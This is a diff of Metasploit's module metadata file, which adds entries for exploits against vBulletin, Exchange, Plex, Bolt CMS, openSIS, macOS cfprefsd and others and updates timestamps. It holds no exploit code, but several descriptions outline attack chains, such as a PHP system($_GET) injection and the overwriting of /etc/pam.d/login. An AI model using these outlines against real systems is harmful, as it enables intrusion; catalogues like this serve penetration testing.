"Minions (Python payload)",
"Minions (Unix command)"
],
"mod_time": "2020-05-29 12:24:14 +0000",
"mod_time": "2020-07-05 11:15:50 +0000",
"path": "/modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb",
"is_install_path": true,
"ref_name": "linux/misc/saltstack_salt_unauth_rce",
@@ -65255,7 +66470,7 @@
"Linux (Debian5 3.2.5-4lenny6)",
"Debugging Target"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/linux/samba/chain_reply.rb",
"is_install_path": true,
"ref_name": "linux/samba/chain_reply",
@@ -65314,7 +66529,7 @@
"Linux SPARC64",
"Linux s390x"
],
"mod_time": "2019-01-10 19:19:14 +0000",
"mod_time": "2020-05-07 21:06:49 +0000",
"path": "/modules/exploits/linux/samba/is_known_pipename.rb",
"is_install_path": true,
"ref_name": "linux/samba/is_known_pipename",
@@ -65366,7 +66581,7 @@
"Linux Heap Brute Force (OpenWRT MIPS)",
"DEBUG"
],
"mod_time": "2017-08-28 20:17:58 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/linux/samba/lsa_transnames_heap.rb",
"is_install_path": true,
"ref_name": "linux/samba/lsa_transnames_heap",
@@ -65419,7 +66634,7 @@
"2:3.5.6~dfsg-3squeeze6 on Debian Squeeze",
"3.5.10-0.107.el5 on CentOS 5"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-04 16:08:32 +0000",
"path": "/modules/exploits/linux/samba/setinfopolicy_heap.rb",
"is_install_path": true,
"ref_name": "linux/samba/setinfopolicy_heap",
@@ -65464,7 +66679,7 @@
"targets": [
"Samba 2.2.x - Bruteforce"
],
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2020-05-04 16:08:32 +0000",
"path": "/modules/exploits/linux/samba/trans2open.rb",
"is_install_path": true,
"ref_name": "linux/samba/trans2open",
@@ -65926,11 +67141,12 @@
"author": [
"Pedro Ribeiro <pedrib@gmail.com>"
],
"description": "This module abuses a known default password in IBM Data Risk Manager. The 'a3user'\n has the default password 'idrm' and allows an attacker to log in to the virtual appliance\n via SSH. This can be escalate to full root access, as 'a3user' has sudo access with the default password.\n At the time of disclosure, this is a 0day. Versions <= 2.0.3 are confirmed to be\n affected, and the latest 2.0.6 is most likely affected too.",
"description": "This module abuses a known default password in IBM Data Risk Manager. The 'a3user'\n has the default password 'idrm' and allows an attacker to log in to the virtual appliance\n via SSH. This can be escalate to full root access, as 'a3user' has sudo access with the default password.\n At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM.\n Versions <= 2.0.6.1 are confirmed to be vulnerable.",
"references": [
"CVE-2020-4429",
"URL-https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md",
"URL-https://seclists.org/fulldisclosure/2020/Apr/33"
"URL-https://seclists.org/fulldisclosure/2020/Apr/33",
"URL-https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/"
],
"platform": "Unix",
"arch": "cmd",
@@ -65942,9 +67158,9 @@
],
"targets": [
"IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)"
"IBM Data Risk Manager <= 2.0.6.1"
],
"mod_time": "2020-05-05 10:16:46 +0000",
"mod_time": "2020-06-26 11:28:21 +0000",
"path": "/modules/exploits/linux/ssh/ibm_drm_a3user.rb",
"is_install_path": true,
"ref_name": "linux/ssh/ibm_drm_a3user",
@@ -69329,9 +70545,10 @@
"type": "exploit",
"author": [
"Snyk",
"sinn3r <sinn3r@metasploit.com>"
"sinn3r <sinn3r@metasploit.com>",
"ggkitsas"
],
"description": "This is a generic arbitrary file overwrite technique, which typically results in remote\n command execution. This targets a simple yet widespread vulnerability that has been\n seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.\n The idea is that often archive extraction libraries have no mitigations against\n directory traversal attacks. If an application uses it, there is a risk when opening an\n archive that is maliciously modified, and result in the embedded payload to be written\n to an arbitrary location (such as a web root), and result in remote code execution.",
"description": "This is a generic arbitrary file overwrite technique, which typically results in remote\n command execution. This targets a simple yet widespread vulnerability that has been\n seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.\n The idea is that often archive extraction libraries have no mitigations against\n directory traversal attacks. If an application uses it, there is a risk when opening an\n archive that is maliciously modified, and result in the embedded payload to be written\n to an arbitrary location (such as a web root), and result in remote code execution.",
"references": [
"URL-https://snyk.io/research/zip-slip-vulnerability"
],
@@ -69347,7 +70564,7 @@
"targets": [
"Manually determined"
],
"mod_time": "2019-09-12 07:43:54 +0000",
"mod_time": "2020-09-02 17:14:30 +0000",
"path": "/modules/exploits/multi/fileformat/zip_slip.rb",
"is_install_path": true,
"ref_name": "multi/fileformat/zip_slip",
@@ -69676,7 +70893,7 @@
"targets": [
"Automatic (PHP-Dropper)"
],
"mod_time": "2020-06-18 15:05:02 +0000",
"mod_time": "2020-06-29 22:17:35 +0000",
"path": "/modules/exploits/multi/http/agent_tesla_panel_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/agent_tesla_panel_rce",
@@ -70067,6 +71284,58 @@
},
"needs_cleanup": true
},
"exploit_multi/http/atutor_upload_traversal": {
"name": "ATutor 2.2.4 - Directory Traversal / Remote Code Execution, ",
"fullname": "exploit/multi/http/atutor_upload_traversal",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-05-17",
"type": "exploit",
"author": [
"liquidsky (JMcPeters)",
"Erik Wynter"
],
"description": "This module exploits an arbitrary file upload vulnerability together with\n a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in\n order to execute arbitrary commands.\n\n It first creates a zip archive containing a malicious PHP file. The zip\n archive takes advantage of a directory traversal vulnerability that will\n cause the PHP file to be dropped in the root server directory (`htdocs`\n for Windows and `html` for Linux targets). The PHP file contains an\n encoded payload that allows for remote command execution on the\n target server. The zip archive can be uploaded via two vectors, the\n `Import New Language` function and the `Patcher` function. The module\n first uploads the archive via `Import New Language` and then attempts to\n execute the payload via an HTTP GET request to the PHP file in the root\n server directory. If no session is obtained, the module creates another\n zip archive and attempts exploitation via `Patcher`.\n\n Valid credentials for an ATutor admin account are required. This module\n has been successfully tested against ATutor 2.2.4 running on Windows 10\n (XAMPP server).",
"references": [
"CVE-2019-12169",
"URL-https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit/"
],
"platform": "Linux,Windows",
"arch": "x86, x64",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Auto",
"Linux",
"Windows"
],
"mod_time": "2020-07-01 14:43:15 +0000",
"path": "/modules/exploits/multi/http/atutor_upload_traversal.rb",
"is_install_path": true,
"ref_name": "multi/http/atutor_upload_traversal",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"exploit_multi/http/auxilium_upload_exec": {
"name": "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
"fullname": "exploit/multi/http/auxilium_upload_exec",
@@ -70172,6 +71441,59 @@
},
"needs_cleanup": true
},
"exploit_multi/http/baldr_upload_exec": {
"name": "Baldr Botnet Panel Shell Upload Exploit",
"fullname": "exploit/multi/http/baldr_upload_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2018-12-19",
"type": "exploit",
"author": [
"Ege Balcı <egebalci@pm.me>"
],
"description": "This module exploits an arbitrary file upload vulnerability within the Baldr\n stealer malware control panel when uploading victim log files (which are uploaded\n as ZIP files). Attackers can turn this vulnerability into an RCE by first\n registering a new bot to the panel and then uploading a ZIP file containing\n malicious PHP, which will then uploaded to a publicly accessible\n directory underneath the /logs web directory.\n\n Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files\n are encoded by XORing them with a random 4 byte key. This exploit module gets around\n this restriction by retrieving the IP specific XOR key from panel gate before\n uploading the malicious ZIP file.",
"references": [
"URL-https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/",
"URL-https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/",
"URL-https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Auto",
"<= v2.0",
"v2.2",
"v3.0 & v3.1"
],
"mod_time": "2020-08-06 11:18:39 +0000",
"path": "/modules/exploits/multi/http/baldr_upload_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/baldr_upload_exec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"exploit_multi/http/bassmaster_js_injection": {
"name": "Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution",
"fullname": "exploit/multi/http/bassmaster_js_injection",
@@ -73098,7 +74420,7 @@
"targets": [
"Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2"
],
"mod_time": "2020-04-22 10:44:07 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/multi/http/liferay_java_unmarshalling.rb",
"is_install_path": true,
"ref_name": "multi/http/liferay_java_unmarshalling",
@@ -79398,7 +80720,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-06-02 19:16:35 +0000",
"mod_time": "2020-06-29 22:17:35 +0000",
"path": "/modules/exploits/multi/http/vbulletin_getindexablecontent.rb",
"is_install_path": true,
"ref_name": "multi/http/vbulletin_getindexablecontent",
@@ -79464,6 +80786,66 @@
},
"needs_cleanup": null
},
"exploit_multi/http/vbulletin_widget_template_rce": {
"name": "vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.",
"fullname": "exploit/multi/http/vbulletin_widget_template_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-08-09",
"type": "exploit",
"author": [
"Zenofex <zenofex@exploitee.rs>"
],
"description": "This module exploits a logic bug within the template rendering code in vBulletin 5.x.\n The module uses the vBulletin template rendering functionality to render the\n 'widget_tabbedcontainer_tab_panel' template while also providing the 'widget_php' argument.\n This causes the former template to load the latter bypassing filters originally put in place\n to address 'CVE-2019-16759'. This also allows the exploit to reach an eval call with user input\n allowing the module to achieve PHP remote code execution on the target. This module has been\n tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.",
"references": [
"URL-https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/",
"CVE-2020-17496"
],
"platform": "PHP,Unix,Windows",
"arch": "cmd, php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Meterpreter (PHP In-Memory)",
"Unix (CMD In-Memory)",
"Windows (CMD In-Memory)"
],
"mod_time": "2020-08-14 08:25:57 +0000",
"path": "/modules/exploits/multi/http/vbulletin_widget_template_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/vbulletin_widget_template_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"needs_cleanup": null
},
"exploit_multi/http/vbulletin_widgetconfig_rce": {
"name": "vBulletin widgetConfig RCE",
"fullname": "exploit/multi/http/vbulletin_widgetconfig_rce",
@@ -81725,11 +83107,11 @@
"Mac OS X PPC (Native Payload)",
"Mac OS X x86 (Native Payload)"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-08-24 10:11:03 +0000",
"path": "/modules/exploits/multi/misc/java_rmi_server.rb",
"is_install_path": true,
"ref_name": "multi/misc/java_rmi_server",
"check": false,
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
@@ -82411,7 +83793,7 @@
"Windows",
"Unix"
],
"mod_time": "2020-06-02 14:24:18 +0000",
"mod_time": "2020-06-29 22:17:35 +0000",
"path": "/modules/exploits/multi/misc/weblogic_deserialize_badattr_extcomp.rb",
"is_install_path": true,
"ref_name": "multi/misc/weblogic_deserialize_badattr_extcomp",
@@ -82455,7 +83837,7 @@
"Windows",
"Unix"
],
"mod_time": "2020-05-19 14:59:47 +0000",
"mod_time": "2020-06-29 22:17:35 +0000",
"path": "/modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb",
"is_install_path": true,
"ref_name": "multi/misc/weblogic_deserialize_badattrval",
@@ -83147,7 +84529,7 @@
"targets": [
"Samba 2.2.x Linux x86"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/multi/samba/nttrans.rb",
"is_install_path": true,
"ref_name": "multi/samba/nttrans",
@@ -83192,7 +84574,7 @@
"targets": [
"Automatic"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-04 16:08:32 +0000",
"path": "/modules/exploits/multi/samba/usermap_script.rb",
"is_install_path": true,
"ref_name": "multi/samba/usermap_script",
@@ -83897,7 +85279,7 @@
"targets": [
"Automatic"
],
"mod_time": "2019-12-22 08:46:43 +0000",
"mod_time": "2020-07-12 00:47:56 +0000",
"path": "/modules/exploits/openbsd/local/dynamic_loader_chpass_privesc.rb",
"is_install_path": true,
"ref_name": "openbsd/local/dynamic_loader_chpass_privesc",
@@ -84467,6 +85849,50 @@
},
"needs_cleanup": null
},
"exploit_osx/local/cfprefsd_race_condition": {
"name": "macOS cfprefsd Arbitrary File Write Local Privilege Escalation",
"fullname": "exploit/osx/local/cfprefsd_race_condition",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-03-18",
"type": "exploit",
"author": [
"Yonghwi Jin <jinmoteam@gmail.com>",
"Jungwon Lim <setuid0@protonmail.com>",
"Insu Yun <insu@gatech.edu>",
"Taesoo Kim <taesoo@gatech.edu>",
"timwr"
],
"description": "This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in\n order to run a payload as root. The CFPreferencesSetAppValue function, which is\n reachable from most unsandboxed processes, can be exploited with a race condition\n in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login\n a user can then login as root with the `login root` command without a password.",
"references": [
"CVE-2020-9839",
"URL-https://github.com/sslab-gatech/pwn2own2020"
],
"platform": "OSX",
"arch": "x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Mac OS X x64 (Native Payload)"
],
"mod_time": "2020-09-04 17:42:30 +0000",
"path": "/modules/exploits/osx/local/cfprefsd_race_condition.rb",
"is_install_path": true,
"ref_name": "osx/local/cfprefsd_race_condition",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"exploit_osx/local/dyld_print_to_file_root": {
"name": "Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation",
"fullname": "exploit/osx/local/dyld_print_to_file_root",
@@ -85413,7 +86839,7 @@
"targets": [
"Samba 2.2.x - Bruteforce"
],
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/osx/samba/trans2open.rb",
"is_install_path": true,
"ref_name": "osx/samba/trans2open",
@@ -85880,7 +87306,7 @@
"Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce",
"Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce"
],
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/solaris/samba/trans2open.rb",
"is_install_path": true,
"ref_name": "solaris/samba/trans2open",
@@ -87834,7 +89260,7 @@
"targets": [
"OpenSMTPD < 6.6.4 (automatic grammar selection)"
],
"mod_time": "2020-04-10 02:01:15 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb",
"is_install_path": true,
"ref_name": "unix/local/opensmtpd_oob_read_lpe",
@@ -88329,7 +89755,7 @@
"targets": [
"OpenSMTPD < 6.6.1"
],
"mod_time": "2020-04-22 10:44:07 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb",
"is_install_path": true,
"ref_name": "unix/smtp/opensmtpd_mail_from_rce",
@@ -89037,6 +90463,71 @@
},
"needs_cleanup": null
},
"exploit_unix/webapp/bolt_authenticated_rce": {
"name": "Bolt CMS 3.7.0 - Authenticated Remote Code Execution",
"fullname": "exploit/unix/webapp/bolt_authenticated_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-05-07",
"type": "exploit",
"author": [
"Sivanesh Ashok",
"r3m0t3nu11",
"Erik Wynter"
],
"description": "This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0\n and 3.6.* in order to execute arbitrary commands as the user running Bolt.\n\n This module first takes advantage of a vulnerability that allows an\n authenticated user to change the username in /bolt/profile to a PHP\n `system($_GET[\"\"])` variable. Next, the module obtains a list of tokens\n from `/async/browse/cache/.sessions` and uses these to create files with\n the blacklisted `.php` extention via HTTP POST requests to\n `/async/folder/rename`. For each created file, the module checks the HTTP\n response for evidence that the file can be used to execute arbitrary\n commands via the created PHP $_GET variable. If the response is negative,\n the file is deleted, otherwise the payload is executed via an HTTP\n get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`\n\n Valid credentials for a Bolt CMS user are required. This module has been\n successfully tested against Bolt CMS 3.7.0 running on CentOS 7.",
"references": [
"EDB-48296",
"URL-https://github.com/bolt/bolt/releases/tag/3.7.1"
],
"platform": "Linux,Unix",
"arch": "x86, x64, cmd",
"rport": 8000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux (x86)",
"Linux (x64)",
"Linux (cmd)"
],
"mod_time": "2020-07-01 14:43:15 +0000",
"path": "/modules/exploits/unix/webapp/bolt_authenticated_rce.rb",
"is_install_path": true,
"ref_name": "unix/webapp/bolt_authenticated_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"NOCVE": "0day",
"Stability": [
"service-resource-loss"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"config-changes",
"artifacts-on-disk"
]
},
"needs_cleanup": null
},
"exploit_unix/webapp/cacti_graphimage_exec": {
"name": "Cacti graph_view.php Remote Command Execution",
"fullname": "exploit/unix/webapp/cacti_graphimage_exec",
@@ -91746,6 +93237,59 @@
},
"needs_cleanup": null
},
"exploit_unix/webapp/opensis_chain_exec": {
"name": "openSIS Unauthenticated PHP Code Execution",
"fullname": "exploit/unix/webapp/opensis_chain_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-06-30",
"type": "exploit",
"author": [
"EgiX"
],
"description": "This module exploits multiple vulnerabilities in openSIS 7.4 and prior versions\n which could be abused by unauthenticated attackers to execute arbitrary PHP code\n with the permissions of the webserver. The exploit chain abuses an incorrect access\n control issue which allows access to scripts which should require the user to be\n authenticated, and a Local File Inclusion to reach a SQL injection vulnerability which\n results in execution of arbitrary PHP code due to an unsafe use of the eval() function.",
"references": [
"URL-http://karmainsecurity.com/KIS-2020-06",
"URL-http://karmainsecurity.com/KIS-2020-07",
"URL-http://karmainsecurity.com/KIS-2020-08",
"CVE-2020-13381",
"CVE-2020-13382",
"CVE-2020-13383"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"openSIS <= 7.4"
],
"mod_time": "2020-07-03 18:00:36 +0000",
"path": "/modules/exploits/unix/webapp/opensis_chain_exec.rb",
"is_install_path": true,
"ref_name": "unix/webapp/opensis_chain_exec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_unix/webapp/opensis_modname_exec": {
"name": "OpenSIS 'modname' PHP Code Execution",
"fullname": "exploit/unix/webapp/opensis_modname_exec",
@@ -93325,7 +94869,7 @@
"Unix Command",
"Linux Dropper"
],
"mod_time": "2020-05-20 22:42:20 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/unix/webapp/thinkphp_rce.rb",
"is_install_path": true,
"ref_name": "unix/webapp/thinkphp_rce",
@@ -94867,7 +96411,7 @@
"targets": [
"InfiniteWP Client < 1.9.4.5"
],
"mod_time": "2020-04-08 00:50:28 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb",
"is_install_path": true,
"ref_name": "unix/webapp/wp_infinitewp_auth_bypass",
@@ -111674,6 +113218,56 @@
},
"needs_cleanup": null
},
"exploit_windows/fileformat/documalis_pdf_editor_and_scanner": {
"name": "Documalis Free PDF Editor and Scanner JPEG Stack Buffer Overflow",
"fullname": "exploit/windows/fileformat/documalis_pdf_editor_and_scanner",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-05-22",
"type": "exploit",
"author": [
"metacom",
"metacom27 <metacom27@gmail.com>"
],
"description": "Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not\n appropriately validate the contents of JPEG images contained within a PDF. Attackers can exploit\n this vulnerability to trigger a buffer overflow on the stack and gain remote code execution as the\n user running the Documalis Free PDF Editor or Documalis Free PDF Scanner software.",
"references": [
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10",
"Documalis Free PDF Scanner v.5.7.2.122 / Win 7, Win 10"
],
"mod_time": "2020-08-03 13:06:45 +0000",
"path": "/modules/exploits/windows/fileformat/documalis_pdf_editor_and_scanner.rb",
"is_install_path": true,
"ref_name": "windows/fileformat/documalis_pdf_editor_and_scanner",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-service-down"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"needs_cleanup": null
},
"exploit_windows/fileformat/dupscout_xml": {
"name": "Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow",
"fullname": "exploit/windows/fileformat/dupscout_xml",
@@ -121454,7 +123048,7 @@
"Windows Dropper",
"PowerShell Stager"
],
"mod_time": "2020-05-20 22:42:20 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/windows/http/desktopcentral_deserialization.rb",
"is_install_path": true,
"ref_name": "windows/http/desktopcentral_deserialization",
@@ -121829,6 +123423,56 @@
},
"needs_cleanup": null
},
"exploit_windows/http/dlink_central_wifimanager_rce": {
"name": "D-Link Central WiFi Manager CWM(100) RCE",
"fullname": "exploit/windows/http/dlink_central_wifimanager_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-07-09",
"type": "exploit",
"author": [
"M3 <M3@ZionLab from DBAppSecurity>",
"Redouane NIBOUCHA <rniboucha@yahoo.fr>"
],
"description": "This module exploits a PHP code injection vulnerability in D-Link Central WiFi Manager CWM(100)\n versions below `v1.03R0100_BETA6`. The vulnerability exists in the\n username cookie, which is passed to `eval()` without being sanitized.\n Dangerous functions are not disabled by default, which makes it possible\n to get code execution on the target.",
"references": [
"CVE-2019-13372",
"URL-https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/"
],
"platform": "PHP",
"arch": "php",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic"
],
"mod_time": "2020-08-18 09:33:32 +0000",
"path": "/modules/exploits/windows/http/dlink_central_wifimanager_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/dlink_central_wifimanager_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_windows/http/dnn_cookie_deserialization_rce": {
"name": "DotNetNuke Cookie Deserialization Remote Code Excecution",
"fullname": "exploit/windows/http/dnn_cookie_deserialization_rce",
@@ -122524,6 +124168,72 @@
},
"needs_cleanup": null
},
"exploit_windows/http/exchange_ecp_dlp_policy": {
"name": "Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE",
"fullname": "exploit/windows/http/exchange_ecp_dlp_policy",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-09-08",
"type": "exploit",
"author": [
"mr_me",
"wvu <wvu@metasploit.com>"
],
"description": "This vulnerability allows remote attackers to execute arbitrary code\n on affected installations of Exchange Server. Authentication is\n required to exploit this vulnerability. Additionally, the target user\n must have the \"Data Loss Prevention\" role assigned and an active\n mailbox.\n\n If the user is in the \"Compliance Management\" or greater \"Organization\n Management\" role groups, then they have the \"Data Loss Prevention\"\n role. Since the user who installed Exchange is in the \"Organization\n Management\" role group, they transitively have the \"Data Loss\n Prevention\" role.\n\n The specific flaw exists within the processing of the New-DlpPolicy\n cmdlet. The issue results from the lack of proper validation of\n user-supplied template data when creating a DLP policy. An attacker\n can leverage this vulnerability to execute code in the context of\n SYSTEM.\n\n Tested against Exchange Server 2016 CU14 on Windows Server 2016.",
"references": [
"CVE-2020-16875",
"URL-https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875",
"URL-https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016",
"URL-https://srcincite.io/advisories/src-2020-0019/",
"URL-https://srcincite.io/pocs/cve-2020-16875.py.txt",
"URL-https://srcincite.io/pocs/cve-2020-16875.ps1.txt"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Exchange Server 2016 and 2019 w/o KB4577352"
],
"mod_time": "2020-09-16 13:24:18 +0000",
"path": "/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_ecp_dlp_policy",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"account-lockouts",
"config-changes",
"artifacts-on-disk"
]
},
"needs_cleanup": null
},
"exploit_windows/http/exchange_ecp_viewstate": {
"name": "Exchange Control Panel ViewState Deserialization",
"fullname": "exploit/windows/http/exchange_ecp_viewstate",
@@ -126986,7 +128696,7 @@
"Windows Dropper",
"PowerShell Stager"
],
"mod_time": "2020-05-22 16:53:44 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/windows/http/plesk_mylittleadmin_viewstate.rb",
"is_install_path": true,
"ref_name": "windows/http/plesk_mylittleadmin_viewstate",
@@ -127007,6 +128717,70 @@
},
"needs_cleanup": null
},
"exploit_windows/http/plex_unpickle_dict_rce": {
"name": "Plex Unpickle Dict Windows RCE",
"fullname": "exploit/windows/http/plex_unpickle_dict_rce",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-05-07",
"type": "exploit",
"author": [
"h00die",
"Chris Lyne"
],
"description": "This module exploits an authenticated Python unsafe pickle.load of a Dict file. An authenticated attacker\n can create a photo library and add arbitrary files to it. After setting the Windows only Plex variable\n LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes\n an RCE as the user who started Plex.\n Plex_Token is required, to get it you need to log-in through a web browser, then check the requests to grab\n the X-Plex-Token header. See info -d for additional details.\n If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required\n as subsuquent writes will make Dict-1, and not execute.",
"references": [
"URL-https://github.com/tenable/poc/blob/master/plex/plex_media_server/auth_dict_unpickle_rce_exploit_tra_2020_32.py",
"URL-https://www.tenable.com/security/research/tra-2020-32",
"URL-http://support.plex.tv/articles/201105343-advanced-hidden-server-settings/",
"URL-https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819",
"CVE-2020-5741"
],
"platform": "Python",
"arch": "python",
"rport": 32400,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic Target"
],
"mod_time": "2020-07-27 15:35:05 +0000",
"path": "/modules/exploits/windows/http/plex_unpickle_dict_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/plex_unpickle_dict_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-restarts"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk",
"config-changes"
]
},
"needs_cleanup": true
},
"exploit_windows/http/privatewire_gateway": {
"name": "Private Wire Gateway Buffer Overflow",
"fullname": "exploit/windows/http/privatewire_gateway",
@@ -127613,6 +129387,69 @@
},
"needs_cleanup": null
},
"exploit_windows/http/sharepoint_data_deserialization": {
"name": "SharePoint DataSet / DataTable Deserialization",
"fullname": "exploit/windows/http/sharepoint_data_deserialization",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-07-14",
"type": "exploit",
"author": [
"Steven Seeley",
"Soroush Dalili",
"Spencer McIntyre"
],
